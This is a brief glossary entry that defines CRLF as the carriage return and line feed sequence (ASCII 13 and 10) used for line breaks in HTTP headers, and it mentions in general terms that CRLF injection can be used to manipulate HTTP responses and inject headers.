CRLF
CRLF (Carriage Return Line Feed) refers to the sequence of characters used to denote a line break in HTTP headers. It consists of the ASCII characters 13 (CR) followed by 10 (LF). Attackers can exploit CRLF injection vulnerabilities to manipulate HTTP responses, perform header injection attacks, and potentially execute malicious actions.
